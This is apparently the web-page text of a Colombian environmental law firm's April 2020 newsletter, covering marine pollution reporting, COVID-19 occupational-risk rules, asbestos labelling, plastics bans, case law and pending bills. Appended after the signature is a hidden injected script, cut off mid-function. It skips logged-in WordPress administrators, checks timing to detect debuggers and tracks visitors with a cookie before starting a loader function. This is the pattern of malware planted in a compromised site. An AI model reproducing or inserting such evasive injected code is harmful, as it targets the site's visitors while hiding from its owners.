<strong>(i)<\/strong> Registro de Plantaciones Forestales Protectoras \u2013 Productoras y Protectoras; y <strong>(ii)<\/strong> Solicitud de Salvoconducto \u00danico Nacional en L\u00ednea \u2013 SUNL para espec\u00edmenes obtenidos por el aprovechamiento de cercas vivas, barreras rompevientos y\/o especies frutales.<\/p>\n<p><strong><br \/>Obligaci\u00f3n de notificar eventos de contaminaci\u00f3n marina ante la DIMAR<\/strong><\/p>\n<p><strong>Resoluci\u00f3n No. 0887 del 01-10-2019 &#8211; Direcci\u00f3n General Mar\u00edtima<br \/><\/strong>La Direcci\u00f3n General Mar\u00edtima \u2013 DIMAR adiciona el Titulo 4 \u201cSucesos de Contaminaci\u00f3n Marina\u201d de la parte 2 del Reglamento Mar\u00edtimo Colombiano &#8211; REMAC 5 \u201cProtecci\u00f3n del Medio Marino y Litorales\u201d adoptado por medio de la Resoluci\u00f3n No. 135 de 2018, en la cual establece criterios para la notificaci\u00f3n de eventos y potenciales sucesos de contaminaci\u00f3n marina en jurisdicci\u00f3n de la Autoridad Mar\u00edtima Nacional. La norma aplica a los participantes del servicio de control de tr\u00e1fico mar\u00edtimo y fluvial (SCTMF), a astilleros navales, talleres de reparaci\u00f3n naval, marinas, clubes n\u00e1uticos, embarcaderos e instalaciones portuarias y en general a quienes tengan como actividad econ\u00f3mica el transporte, almacenamiento, manipulaci\u00f3n, carga y descarga de mercanc\u00edas peligrosas, perjudiciales o contaminante del mar en la jurisdicci\u00f3n de la DIMAR.<\/p>\n<p>Esta obligaci\u00f3n no excluye la de reportar tambi\u00e9n ante las autoridades ambientales competentes estos eventos, a trav\u00e9s del Formato \u00danico de Reporte de Contingencias Ambientales, adoptado por medio de la Resoluci\u00f3n No. 1767 de 2016 para actividades sujetas a Licencia Ambiental y de la Resoluci\u00f3n No. 1486 de 2018 para actividades no sujetas a Licencia Ambiental, ambas del Ministerio de Ambiente y Desarrollo Sostenible, a trav\u00e9s de la Ventanilla Integral de Tr\u00e1mites Ambientales en L\u00ednea \u2013 VITAL, dentro de las 24 horas siguientes al suceso.<\/p>\n<p><strong><br \/><\/strong><strong>ARL aportar\u00e1n recursos para emergencia por Covid-19<\/strong><\/p>\n<p><strong>Decreto No. 488 de 27-03-2020 y No. 500 de 31-03-2020 \u2013 Ministerio del Trabajo<br \/><\/strong>Las Administradoras de Riesgos Laborales \u2013 ARL, tanto de car\u00e1cter privado como p\u00fablico, tendr\u00e1n que destinar un porcentaje de los recursos de las cotizaciones para la emergencia sanitaria y destinarlos a campa\u00f1as de promoci\u00f3n, educaci\u00f3n y prevenci\u00f3n, que garanticen que las empresas afiliadas cumplan con el desarrollo del Plan de Trabajo Anual \u2013 PTA, dentro de su Sistema de Gesti\u00f3n de la Seguridad y Salud en el Trabajo \u2013 SG-SST.<\/p>\n<p>Otro porcentaje ir\u00e1 al Fondo de Riesgos Laborales, para actividades de emergencia e intervenci\u00f3n, compra de elementos de protecci\u00f3n personal, ex\u00e1menes m\u00e9dicos frecuentes, preventivos, actividades de diagn\u00f3stico, dirigido especialmente a trabajadores de la salud (asistenciales, administrativos y de apoyo), personal de aseo, vigilancia y alimentaci\u00f3n, relacionados directamente con la prestaci\u00f3n del servicio de salud, as\u00ed como al personal de terminales de transporte a\u00e9reo, mar\u00edtimo y terrestre, control fronterizo, cuerpo de bomberos, Defensa Civil y Cruz Roja.<\/p>\n<p><strong><br \/>Requisitos para la inclusi\u00f3n del Covid-19 como enfermedad laboral en el sector salud<\/strong><\/p>\n<p><strong>Decreto No. 538 de 12-04-2020 \u2013 Ministerio de Salud y Protecci\u00f3n Social<br \/><\/strong>Esta norma prev\u00e9 el acceso y continuidad en la prestaci\u00f3n de los servicios de salud, conmina a todo el talento humano en salud en ejercicio o formaci\u00f3n, el cual deber\u00e1 estar\u00e1 preparado y disponible para prestar sus servicios y toma medidas para la protecci\u00f3n de estos servidores, que como se sabe est\u00e1n mayormente expuestos.<\/p>\n<p>Adicionalmente, la norma determina el procedimiento para la revisi\u00f3n de las incapacidades por diagn\u00f3stico Covid-19, al tiempo que establece los requisitos para inclusi\u00f3n del Coronavirus como enfermedad laboral directa, eliminando los requisitos del par\u00e1grafo 2 del art\u00edculo 4 de la Ley 1562 de 2012 para incluir dentro de la tabla de enfermedades laborales, el Coronavirus COVID- 19 como enfermedad laboral directa, respecto de los trabajadores del sector salud, incluyendo al personal administrativo, de aseo, vigilancia y de apoyo que preste servicios en las diferentes actividades de prevenci\u00f3n, diagn\u00f3stico y atenci\u00f3n de esta enfermedad.<\/p>\n<p>Las Administradoras de Riesgos Laborales -ARL-, desde el momento en que se confirme el diagn\u00f3stico, deben reconocer todas las prestaciones asistenciales y econ\u00f3micas derivadas de la incapacidad de origen laboral por esa enfermedad, sin que se requiera la determinaci\u00f3n de origen laboral en primera oportunidad o el dictamen de las juntas de calificaci\u00f3n de invalidez.<\/p>\n<p><strong><br \/>Nuevo reglamento de seguridad y salud para el trabajo en espacios confinados<\/strong><\/p>\n<p><strong>Resoluci\u00f3n No. 0491 del 24-02-2020 &#8211; Ministerio del Trabajo<br \/><\/strong>Consagra los requisitos m\u00ednimos para garantizar la seguridad y salud de los trabajadores que desarrollan trabajos en espacios confinados, definiendo y clasificando los tipos de espacios confinados, las obligaciones de los empleadores, contratantes, administradoras de riesgos y trabajadores, los roles y responsabilidades, las obligaciones de identificaci\u00f3n y evaluaci\u00f3n de espacios confinados, el <em>Programa de Gesti\u00f3n para el Trabajo en Espacios Confinados<\/em> y las medidas de prevenci\u00f3n, protecci\u00f3n, control y para la atenci\u00f3n de emergencias.<\/p>\n<p>Adem\u00e1s, establece reglas para los permisos de trabajo, la formaci\u00f3n de entrenadores y trabajadores, la inscripci\u00f3n y registro de los centros de entrenamiento y los certificados de formaci\u00f3n y de competencias laborales para el trabajo en espacios confinados, entre otras determinaciones. La norma rige a partir de agosto 25 de 2020, seis (6) meses despu\u00e9s de su publicaci\u00f3n.<\/p>\n<p><strong><br \/><\/strong><strong>\u201cAdvertencia este producto contiene asbesto\u201d<\/strong><\/p>\n<p><strong>Resoluci\u00f3n No. 534 de 26-02-2020 &#8211; Ministerio del Trabajo<br \/><\/strong>En cumplimiento de una orden judicial <em>(<\/em><em>Juzgado 39 Administrativo de Bogot\u00e1, Acci\u00f3n Popular, Expediente 25000-2315-000-2005-02488-01, Sentencia de marzo 1\u00ba de 2019)<\/em>, generada como consecuencia de una acci\u00f3n popular donde se protegieron los derechos e intereses colectivos a la salud, la salubridad p\u00fablica y el medio ambiente, se orden\u00f3 al Ministerio del Trabajo, entre muchas otras determinaciones, proferir la norma por la cual se dictan medidas espec\u00edficas frente al rotulado de productos que contienen amianto\/asbesto, cosa que hizo por medio de la Resoluci\u00f3n No. 0534 de 2020.<\/p>\n<p>La resoluci\u00f3n aplica para todas las empresas, centros de trabajo y procesos industriales que incluyen uso de amianto\/asbesto, para los productos que contienen cualquier variedad de amianto\/asbesto en cualquier proporci\u00f3n, que se elaboran, comercializan, importan, exportan o distribuyen en el territorio nacional. Finalmente, los productos deber\u00e1n marcarse con un r\u00f3tulo visible con el siguiente texto: \u201cADVERTENCIA ESTE PRODUCTO CONTIENE ASBESTO\u201d.<\/p>\n<p><strong><br \/>Aumenta la normativa sobre pl\u00e1sticos e \u201cicopor\u201d en Colombia<br \/><\/strong>Recientemente se han expedido una serie de normas nacionales, regionales y locales, la mayor\u00eda de ellas dirigidas exclusivamente a la prohibici\u00f3n inmediata del uso de pl\u00e1sticos y poliestireno expandido de un solo uso, este \u00faltimo conocido com\u00fanmente en Colombia como <em>\u201cicopor\u201d<\/em>, nombre que se gan\u00f3 un puesto en el l\u00e9xico colombiano y en algunos diccionarios, pero que en realidad es el acr\u00f3nimo de un antiguo fabricante de productos a base de poliestireno expandido, la Industria Colombiana de Porosos &#8211; ICOPOR.<\/p>\n<p>Por su parte, el Ministerio de Ambiente y Desarrollo Sostenible ha formulado el <em>\u201c<strong>Plan Nacional de Gesti\u00f3n Sostenible de Pl\u00e1sticos de un Solo Uso\u201d, <\/strong><\/em><strong>actualmente en proceso de ajuste, m\u00e1s racional y menos restrictivo, en todo caso articulado con <\/strong>el principio de Responsabilidad Extendida del Productor (REP), en el marco de la l\u00ednea estrat\u00e9gica denominada \u201cEconom\u00eda Circular para la creaci\u00f3n de valor\u201d. Relacionamos las principales normas producidas en la materia a nivel nacional:<\/p>\n<table>\n<tbody>\n<tr>\n<td width=\"160\"><strong>NORMA<\/strong><\/td>\n<td width=\"189\"><strong>ENTE EMISOR<\/strong><\/td>\n<td width=\"239\"><strong>MATERIA<\/strong><\/td>\n<\/tr>\n<tr>\n<td width=\"160\">Resoluci\u00f3n 0668 de 2016<\/td>\n<td width=\"189\">Ministerio de Ambiente y Desarrollo Sostenible<\/td>\n<td width=\"239\">Reglamenta el uso racional de bolsas pl\u00e1sticas<\/td>\n<\/tr>\n<tr>\n<td width=\"160\">Resoluci\u00f3n 2184 de 2019<\/td>\n<td width=\"189\">Ministerio de Ambiente y Desarrollo Sostenible<\/td>\n<td width=\"239\">Modifica la Resoluci\u00f3n 0668 de 2016, sobre uso racional de bolsas pl\u00e1sticas<\/td>\n<\/tr>\n<tr>\n<td width=\"160\">Resoluci\u00f3n 1407 de 2018<\/td>\n<td width=\"189\">Ministerio de Ambiente y Desarrollo Sostenible<\/td>\n<td width=\"239\">Reglamenta la gesti\u00f3n ambiental de los residuos de envases y empaques de pl\u00e1stico, vidrio, papel, cart\u00f3n y metal<\/td>\n<\/tr>\n<tr>\n<td width=\"160\">Resoluci\u00f3n 1558 de 2019<\/td>\n<td width=\"189\">Ministerio de Ambiente y Desarrollo Sostenible \u2013 Parques Nacionales Naturales<\/td>\n<td width=\"239\">Proh\u00edbe el ingreso de pl\u00e1sticos de un solo uso en las \u00e1reas del Sistema de Parques Nacionales Naturales de Colombia<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>Por otra parte, se tiene una serie de normas dictadas por entes territoriales o con car\u00e1cter regional, entre otras:<\/p>\n<table>\n<tbody>\n<tr>\n<td width=\"160\"><strong>NORMA<\/strong><\/td>\n<td width=\"189\"><strong>ENTE EMISOR<\/strong><\/td>\n<td width=\"239\"><strong>MATERIA<\/strong><\/td>\n<\/tr>\n<tr>\n<td width=\"160\">Ley 1973 de 2019<\/td>\n<td width=\"189\">Congreso de la Rep\u00fablica<\/td>\n<td width=\"239\">Proh\u00edbe el ingreso, comercializaci\u00f3n y uso de bolsas y otros materiales pl\u00e1sticos en el Departamento Archipi\u00e9lago de San Andr\u00e9s, Providencia y Santa Catalina e Islas menores que lo componen<\/td>\n<\/tr>\n<tr>\n<td width=\"160\">Decreto 0383 de 2019<\/td>\n<td width=\"189\">Gobernaci\u00f3n de Boyac\u00e1<\/td>\n<td width=\"239\">Proh\u00edbe el uso y adquisici\u00f3n de pl\u00e1stico no biodegradable de un solo uso y poliestireno expandido en la Gobernaci\u00f3n de Boyac\u00e1<\/td>\n<\/tr>\n<tr>\n<td width=\"160\">Decreto 0129 de 2019<\/td>\n<td width=\"189\">Gobernaci\u00f3n del Valle del Cauca<\/td>\n<td width=\"239\">Proh\u00edbe el uso y adquisici\u00f3n de pl\u00e1stico no biodegradable de un solo uso y poliestireno expandido en la Gobernaci\u00f3n de Boyac\u00e1<\/td>\n<\/tr>\n<tr>\n<td width=\"160\">Resoluci\u00f3n 1017 de 2018<\/td>\n<td width=\"189\">Departamento Administrativo de Sostenibilidad Ambiental \u2013 DADSA de Santa Marta<\/td>\n<td width=\"239\">Adopta medidas de control para la prohibici\u00f3n de la utilizaci\u00f3n de pl\u00e1stico e icopor (textualmente) de un solo uso en el Distrito de Santa Marta<\/td>\n<\/tr>\n<tr>\n<td width=\"160\">Acuerdo 012 de 2019<\/td>\n<td width=\"189\">Concejo Municipal de Ibagu\u00e9<\/td>\n<td width=\"239\">Proh\u00edbe el poliestireno expandido o icopor (textualmente), pitillos, vasos, papeles parafinados y mezcladores de pl\u00e1stico y\/o polipropileno en todas las entidades p\u00fablicas de Ibagu\u00e9<\/td>\n<\/tr>\n<tr>\n<td width=\"160\">Decreto 065 de 2020<\/td>\n<td width=\"189\">Alcald\u00eda de Villavicencio<\/td>\n<td width=\"239\">Adopta medidas para la reducci\u00f3n de la utilizaci\u00f3n de pl\u00e1stico y poliestireno expandido de un solo uso en la Alcald\u00eda de Villavicencio<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>As\u00ed mismo, se han establecido una serie de regulaciones y prohibiciones en diversos municipios de la geograf\u00eda nacional (por lo menos 19 municipios no capitales tienen normas en la materia) y se tienen proyectos de Acuerdo en tr\u00e1mite en grandes ciudades como Bogot\u00e1, Cartagena, Cali y Bucaramanga, estos \u00faltimos radicados en 2020. Cursan adem\u00e1s en el Congreso de la Rep\u00fablica al menos seis (6) iniciativas o proyectos de ley en tr\u00e1mite, que se ir\u00e1n acumulando de acuerdo con el reglamento del Congreso, lo que hace inminente una ley general en la materia.<\/p>\n<p>Algunas normas y\/o proyectos est\u00e1n dirigidos a restringir las compras en entidades p\u00fablicas y las dem\u00e1s a prohibir el uso generalizado de pl\u00e1sticos y poliestireno expandido de un solo uso, incluyendo tambi\u00e9n y probablemente de manera contradictoria, aquellos pl\u00e1sticos que deben ser gestionados por productores bajo un <em>Plan de Gesti\u00f3n de Envases y Empaques<\/em> debidamente aprobado por la ANLA, todo de acuerdo con la Resoluci\u00f3n No. 1407 de 2018 del Ministerio de Ambiente y Desarrollo Sostenible, que se ci\u00f1en al principio de la Responsabilidad Extendida del Productor (REP).<\/p>\n<p><strong><u>ACTUACI\u00d3N JUDICIAL Y JURISPRUDENCIA<\/u><\/strong><\/p>\n<p><strong>\u00a0<\/strong><strong>Se mantienen est\u00e1ndares diferenciales de emisiones atmosf\u00e9ricas generadas por fuentes fijas de industrias nuevas y existentes <\/strong><\/p>\n<p><strong>Auto Consejo de Estado &#8211; CE-SEC1-EXP2019-N00464-00<br \/><\/strong><strong>\u00a0<\/strong>Como se inform\u00f3 en el Bolet\u00edn No. 5 de 2019, la Resoluci\u00f3n No. 909 de 2008 fue demandada bajo el argumento de que la norma no justifica el tratamiento diferencial que se da entre los est\u00e1ndares de emisi\u00f3n para las fuentes de emisi\u00f3n existentes y nuevas, siendo los de estas \u00faltimas m\u00e1s rigurosas, lo cual podr\u00eda vulnerar el derecho fundamental a la igualdad. En tal virtud, el Consejo de Estado decidi\u00f3 la suspensi\u00f3n parcial y provisional de los art\u00edculos 6, 8, 10, 14, 17, 19, 23, 25, 27, 52 y 96, exclusivamente en relaci\u00f3n con las actividades industriales nuevas, de la Resoluci\u00f3n No. 909 de 2008, por medio de la cual se fijaron los est\u00e1ndares de emisi\u00f3n de contaminantes a la atm\u00f3sfera por fuentes fijas.<\/p>\n<p>Mediante recurso de s\u00faplica el Ministerio de Ambiente y Desarrollo Sostenible argument\u00f3 que no existe vulneraci\u00f3n al derecho a la igualdad, dado que el trato diferencial en la determinaci\u00f3n de l\u00edmites de emisiones atmosf\u00e9ricas en las actividades industriales nuevas se encuentra en el marco de la aplicaci\u00f3n del principio de progresividad en materia ambiental, tesis que acogi\u00f3 el Consejo de Estado, por lo cual \u00a0revoc\u00f3 el auto que suspend\u00eda los art\u00edculos mencionados, por lo que en la actualidad nuevamente se encuentran vigentes todos los est\u00e1ndares establecidos por la Resoluci\u00f3n No. 909 de 2008, aun cuando la acci\u00f3n de nulidad contin\u00faa su tr\u00e1mite ante esa Corporaci\u00f3n, a la espera de una decisi\u00f3n final.<\/p>\n<p><strong><u><br \/>CONCEPTOS LEGALES <\/u><\/strong><\/p>\n<p><strong>Empresas podr\u00e1n continuar separando los residuos aprovechables bajo la norma GTC-24 <\/strong><\/p>\n<p><strong>Respuesta Derecho de Petici\u00f3n de 19-02-2020 \u2013 Direcci\u00f3n de Asuntos Ambientales, Sectorial y Urbana &#8211; Ministerio de Ambiente y Desarrollo Sostenible<br \/><\/strong>\u00c1lvarez Abogados Ambientales solicit\u00f3 al Ministerio de Medio Ambiente y Desarrollo Sostenible aclarar el contenido de la Resoluci\u00f3n No. 2184 de 2019, por medio de la cual se establece un nuevo c\u00f3digo de colores para la separaci\u00f3n de residuos s\u00f3lidos en la fuente, el cual determina que ser\u00e1 utilizado: <strong>(i)<\/strong> el color verde, para para residuos org\u00e1nicos aprovechables; <strong>(ii)<\/strong> el color blanco, para residuos aprovechables como pl\u00e1stico, vidrio, metales, multicapa, papel y cart\u00f3n; y <strong>(iii)<\/strong> el color negro, para residuos no aprovechables.<\/p>\n<p>La mencionada norma no determina con claridad quienes son los sujetos obligados al cumplimiento de esta, por lo cual la firma procedi\u00f3 a elevar dicha consulta al Ministerio. Adicionalmente, se pregunt\u00f3 si las empresas del sector industrial, comercial y de servicios deb\u00edan suspender el uso la Gu\u00eda T\u00e9cnica (GTC 24) para la separaci\u00f3n en la fuente para aplicar lo dispuesto por la nueva resoluci\u00f3n. Frente a esta petici\u00f3n el Ministerio de Medio Ambiente y Desarrollo Sostenible resolvi\u00f3 estas inquietudes manifestando expresamente lo siguiente:<\/p>\n<ol>\n<li>El C\u00f3digo de Colores aplica a todos los usuarios\u00a0del servicio p\u00fablico\u00a0deaseo,\u00a0siempre y cuando los residuos s\u00f3lidos separados en la fuente sean presentados al prestador\u00a0de\u00a0este servicio p\u00fablico.<\/li>\n<li>El sector industrial, comercial, institucional y de servicios podr\u00e1 adelantar una separaci\u00f3n detallada de los residuos aprovechables, utilizando los\u00a0coloresestablecidos en la GTC-24 para cada uno de los materiales. En caso\u00a0de\u00a0agrupar varios materiales aprovechables en un \u00fanico recipiente, se\u00a0deber\u00e1 usar el color blanco, como lo dice la Resoluci\u00f3n No.\u00a0 2184\u00a0de<\/li>\n<li>Los residuos peligrosos o con caracter\u00edsticas de peligrosidad, ser\u00e1n segregados y gestionados de acuerdo a los manuales establecidos para tal fin y no se encuentran bajo el \u00e1mbito de aplicaci\u00f3n de la Resoluci\u00f3n No. 2184\u00a0de<\/li>\n<\/ol>\n<p>\u00a0<\/p>\n<p><strong><u>PROYECTOS DE REGULACI\u00d3N<\/u><\/strong><\/p>\n<p>Rese\u00f1amos los m\u00e1s importantes proyectos regulatorios en materia ambiental y asuntos afines, especialmente asociados a la agenda normativa que han publicado los Ministerios de Ambiente y Desarrollo Sostenible, Minas y Energ\u00eda, Trabajo, Salud y Protecci\u00f3n Social entre otros, para el a\u00f1o 2020:<\/p>\n<table>\n<tbody>\n<tr>\n<td width=\"293\"><strong>TEMA<\/strong><\/td>\n<td width=\"293\"><strong>INICIATIVA<\/strong><\/td>\n<\/tr>\n<tr>\n<td width=\"293\">Plan Nacional de Contingencia por P\u00e9rdida de Contenci\u00f3n de Hidrocarburos y otras Sustancias Peligrosas<\/td>\n<td width=\"293\">Presidencia de la Rep\u00fablica<\/td>\n<\/tr>\n<tr>\n<td width=\"293\">Aplicaci\u00f3n del Sistema Globalmente Armonizado (SGA) de clasificaci\u00f3n y etiquetado de productos qu\u00edmicos en los lugares de trabajo<\/td>\n<td width=\"293\">Ministerio del Trabajo &#8211; Ministerio de Salud y Protecci\u00f3n Social<\/td>\n<\/tr>\n<tr>\n<td width=\"293\">Norma Nacional de Calidad de Combustibles<\/td>\n<td width=\"293\">Ministerio de Ambiente y Desarrollo Sostenible &#8211; Ministerio de Minas y Energ\u00eda<\/td>\n<\/tr>\n<tr>\n<td width=\"293\">Registro de Emisiones y Transferencia de Contaminantes &#8211; RETC<\/td>\n<td width=\"293\">Ministerio de Ambiente y Desarrollo Sostenible \u2013 IDEAM<\/td>\n<\/tr>\n<tr>\n<td width=\"293\">Manual para la Gesti\u00f3n Integral de Residuos Generados en la Atenci\u00f3n en Salud y otras actividades<\/td>\n<td width=\"293\">Ministerio de Ambiente y Desarrollo Sostenible &#8211; Ministerio de Salud y Protecci\u00f3n Social<\/td>\n<\/tr>\n<tr>\n<td width=\"293\">Nuevo modelo de licenciamiento ambiental y Manual de Seguimiento (Informes de Cumplimiento Ambiental \u2013 ICA)<\/td>\n<td width=\"293\">Ministerio de Ambiente y Desarrollo Sostenible \u2013 ANLA<\/td>\n<\/tr>\n<tr>\n<td width=\"293\">Estandarizaci\u00f3n de tr\u00e1mites de los permisos ambientales (concesiones, vertimientos, emisiones, aprovechamiento forestal, ente otros)<\/td>\n<td width=\"293\">Ministerio de Ambiente y Desarrollo Sostenible \u2013 ANLA<\/td>\n<\/tr>\n<tr>\n<td width=\"293\">T\u00e9rminos de Referencia fase de implementaci\u00f3n del Plan de Manejo Arqueol\u00f3gico<\/td>\n<td width=\"293\">Instituto Colombiano de Antropolog\u00eda e Historia &#8211; ICANH<\/td>\n<\/tr>\n<tr>\n<td width=\"293\">Definici\u00f3n de las Contribuciones Nacionales ante la Convenci\u00f3n Marco de Naciones Unidas sobre Cambio Clim\u00e1tico &#8211; CMNUCC<\/td>\n<td width=\"293\">Ministerio de Ambiente y Desarrollo Sostenible \u2013Direcci\u00f3n de Cambio Clim\u00e1tico y Gesti\u00f3n del Riesgo<\/td>\n<\/tr>\n<tr>\n<td width=\"293\">Indicadores de Desempe\u00f1o Ambiental &#8211; IDA<\/td>\n<td width=\"293\">Ministerio de Ambiente y Desarrollo Sostenible \u2013 Direcci\u00f3n de Asuntos Ambientales Sectorial y Urbana<\/td>\n<\/tr>\n<tr>\n<td width=\"293\">Sustancias Qu\u00edmicas de Uso Industrial<\/td>\n<td width=\"293\">Ministerio de Ambiente y Desarrollo Sostenible \u2013 Direcci\u00f3n de Asuntos Ambientales Sectorial y Urbana<\/td>\n<\/tr>\n<tr>\n<td width=\"293\">Par\u00e1metros y valores l\u00edmites permisibles de vertimientos al suelo<\/td>\n<td width=\"293\">Ministerio de Ambiente y Desarrollo Sostenible \u2013 Direcci\u00f3n de Asuntos Ambientales Sectorial y Urbana<\/td>\n<\/tr>\n<tr>\n<td width=\"293\">Permiso de Emisiones Atmosf\u00e9ricas (ampliaci\u00f3n de actividades que lo requieren) y controles a fuentes m\u00f3viles<\/td>\n<td width=\"293\">Ministerio de Ambiente y Desarrollo Sostenible \u2013 Direcci\u00f3n de Asuntos Ambientales Sectorial y Urbana<\/td>\n<\/tr>\n<tr>\n<td width=\"293\">Movimiento Transfronterizo de Residuos NO Peligrosos<\/td>\n<td width=\"293\">Ministerio de Ambiente y Desarrollo Sostenible \u2013 Direcci\u00f3n de Asuntos Ambientales Sectorial y Urbana<\/td>\n<\/tr>\n<tr>\n<td width=\"293\">Concesiones de aguas y re\u00faso de aguas residuales tratadas<\/td>\n<td width=\"293\">Ministerio de Ambiente y Desarrollo Sostenible \u2013Direcci\u00f3n de Gesti\u00f3n Integral del Recurso H\u00eddrico<\/td>\n<\/tr>\n<tr>\n<td width=\"293\">Modificaci\u00f3n del R\u00e9gimen de Aprovechamiento Forestal<\/td>\n<td width=\"293\">Ministerio de Ambiente y Desarrollo Sostenible &#8211; Direcci\u00f3n de Bosques Biodiversidad y Servicios Ecosist\u00e9micos<\/td>\n<\/tr>\n<tr>\n<td width=\"293\">Modificaci\u00f3n y articulaci\u00f3n de permisos de acceso a recursos gen\u00e9ticos, de investigaci\u00f3n cient\u00edfica y de estudio de recursos naturales<\/td>\n<td width=\"293\">Ministerio de Ambiente y Desarrollo Sostenible &#8211; Direcci\u00f3n de Bosques Biodiversidad y Servicios Ecosist\u00e9micos<\/td>\n<\/tr>\n<tr>\n<td width=\"293\">Procesos de saneamiento al interior de las \u00e1reas del Sistema de Parques Nacionales Ambientales<\/td>\n<td width=\"293\">Ministerio de Ambiente y Desarrollo Sostenible &#8211; Direcci\u00f3n de Bosques Biodiversidad y Servicios Ecosist\u00e9micos<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>\u00a0<\/p>\n<p><strong>Inminente implementaci\u00f3n del RETC<br \/><\/strong>El Ministerio de Ambiente y Desarrollo Sostenible, trabaja con el Instituto de Hidrolog\u00eda, Meteorolog\u00eda y Estudios Ambientales \u2013 IDEAM, en la implementaci\u00f3n del Registro de Emisiones y Transferencia de Contaminantes \u2013 RETC, el cual seguramente estar\u00e1 reglamentado en la presente anualidad e impondr\u00e1 exigencias a las empresas a partir del 2021.<\/p>\n<p>A la fecha se viene desarrollando la prueba piloto por parte del IDEAM con el apoyo de Minambiente, sectores productivos y algunas autoridades ambientales, a fin de desarrollar los elementos t\u00e9cnicos para la regulaci\u00f3n, afinar el dise\u00f1o, ajustar la plataforma digital, gu\u00edas de reporte y herramientas de administraci\u00f3n y expedir el instrumento normativo para la puesta en marcha del RETC.<\/p>\n<p>El Registro de Emisiones y Transferencia de Contaminantes \u2013 RETC es un cat\u00e1logo o base de datos de las emisiones o transferencias de contaminantes potencialmente da\u00f1inos a la salud o al ambiente, provenientes de diversas fuentes. El RETC incluye informaci\u00f3n sobre las emisiones y transferencias al aire, agua y suelo, as\u00ed como sobre los residuos transportados a los sitios de aprovechamiento, tratamiento o disposici\u00f3n final.<\/p>\n<p>Implicar\u00e1 el fortalecimiento del Sistema de Informaci\u00f3n Ambiental el Colombia \u2013 SIAC que administra el IDEAM, la sustituci\u00f3n del Registro de Generadores de RESPEL, una entrada adicional y modificaci\u00f3n del Registro \u00danico Ambiental \u2013 RUA el cual se ampliar\u00e1 seguramente a sectores diferentes al manufacturero, una ampliaci\u00f3n en el suministro de la informaci\u00f3n sobre uso de recursos en la fuente (agua, energ\u00eda, recursos naturales, materias primas, combustibles) y generaci\u00f3n y transferencia de contaminantes al vertedero o sumidero (emisiones, vertimientos, residuos, desechos), y, finalmente, un mayor escrutinio, puesto que ser\u00e1 un instrumento de consulta p\u00fablica al alcance de cualquier autoridad o persona.<\/p>\n<p><strong><u>PROYECTOS DE LEY<br \/><\/u><\/strong>Relacionamos los proyectos de ley (PL) de inter\u00e9s ambiental y\/o de Acto Legislativo (PAL) (reformatorio de la Constituci\u00f3n), que cursan en la actualidad en el Congreso de la Rep\u00fablica, previ\u00e9ndose una legislatura ordinaria que producir\u00e1 seguramente algunas normas relevantes en la materia durante 2020.<\/p>\n<table>\n<tbody>\n<tr>\n<td width=\"189\"><strong>PROYECTO DE LEY<\/strong><\/td>\n<td width=\"400\"><strong>MATERIA<\/strong><\/td>\n<\/tr>\n<tr>\n<td width=\"189\">PL No. 56\/18 C\u00e1mara<\/td>\n<td width=\"400\">Reglamentaci\u00f3n y atenci\u00f3n de pasivos ambientales en Colombia<\/td>\n<\/tr>\n<tr>\n<td width=\"189\">PL No. 102\/18 Senado y 149\/19 C\u00e1mara<\/td>\n<td width=\"400\">Garantizar ambiente libre de plomo<\/td>\n<\/tr>\n<tr>\n<td width=\"189\">PL No. 129\/18 C\u00e1mara<\/td>\n<td width=\"400\">Modificaci\u00f3n del recaudo y destino de las Transferencias del Sector El\u00e9ctrico<\/td>\n<\/tr>\n<tr>\n<td width=\"189\">PL No. 189\/18 C\u00e1mara<\/td>\n<td width=\"400\">Licencias, permisos y tr\u00e1mites ambientales<\/td>\n<\/tr>\n<tr>\n<td width=\"189\">PAL Nos. 74 y 80\/18 C\u00e1mara<\/td>\n<td width=\"400\">Reconocimiento de la naturaleza como entidad viviente y sujeto de derechos<\/td>\n<\/tr>\n<tr>\n<td width=\"189\">PL No. 72\/19 C\u00e1mara<\/td>\n<td width=\"400\">Fomento de infraestructura verde, sostenible y resiliente (techos y terrazas verdes)<\/td>\n<\/tr>\n<tr>\n<td width=\"189\">PL No. 72\/19 C\u00e1mara<\/td>\n<td width=\"400\">Creaci\u00f3n de los Consejos Ambientales Municipales<\/td>\n<\/tr>\n<tr>\n<td width=\"189\">PL No. 73\/19 C\u00e1mara<\/td>\n<td width=\"400\">Medidas para la gobernanza, protecci\u00f3n y sostenibilidad del territorio marino costero<\/td>\n<\/tr>\n<tr>\n<td width=\"189\">PL No. 186\/19 C\u00e1mara<\/td>\n<td width=\"400\">Tasas retributivas y compensatorias<\/td>\n<\/tr>\n<tr>\n<td width=\"189\">PL 051\/19 Senado<\/td>\n<td width=\"400\">Reducci\u00f3n de emisiones de contaminantes de fuentes m\u00f3viles a gasolina<\/td>\n<\/tr>\n<tr>\n<td width=\"189\">PL 094\/19 Senado<\/td>\n<td width=\"400\">Determina el recurso h\u00eddrico como un asunto de seguridad nacional<\/td>\n<\/tr>\n<tr>\n<td width=\"189\">PL 282\/19 C\u00e1mara<\/td>\n<td width=\"400\">Lineamientos para la Gesti\u00f3n Integral de Residuos S\u00f3lidos Especiales &#8211; RSE<\/td>\n<\/tr>\n<tr>\n<td width=\"189\">PL 282\/19 C\u00e1mara<\/td>\n<td width=\"400\">Modificaci\u00f3n o sustituci\u00f3n del C\u00f3digo Penal en el T\u00edtulo de los Delitos contra el Ambiente y los Recursos Naturales<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>\u00c1lvarez Abogados Ambientales har\u00e1 permanente seguimiento a las agendas legislativa y regulatoria y estar\u00e1 informando oportunamente las novedades en la materia a clientes, interesados y abonados a nuestro Bolet\u00edn Informativo.<\/p>\n<p><strong><u>Advertencia<\/u><\/strong><strong>: El bolet\u00edn de \u00c1lvarez Abogados Ambientales S.A.S., no es ni podr\u00e1 ser usado como asesor\u00eda o concepto legal, en vista de que se trata de un documento puramente informativo. Para el efecto no dude en comunicarse con nosotros.<\/strong><\/p>\n<p><strong>\u00c1lvarez Abogados Ambientales S.A.S.<br \/><\/strong><strong>Bolet\u00edn N. 3 de 2020<br \/><\/strong><strong>20-04-2020<\/strong><\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var 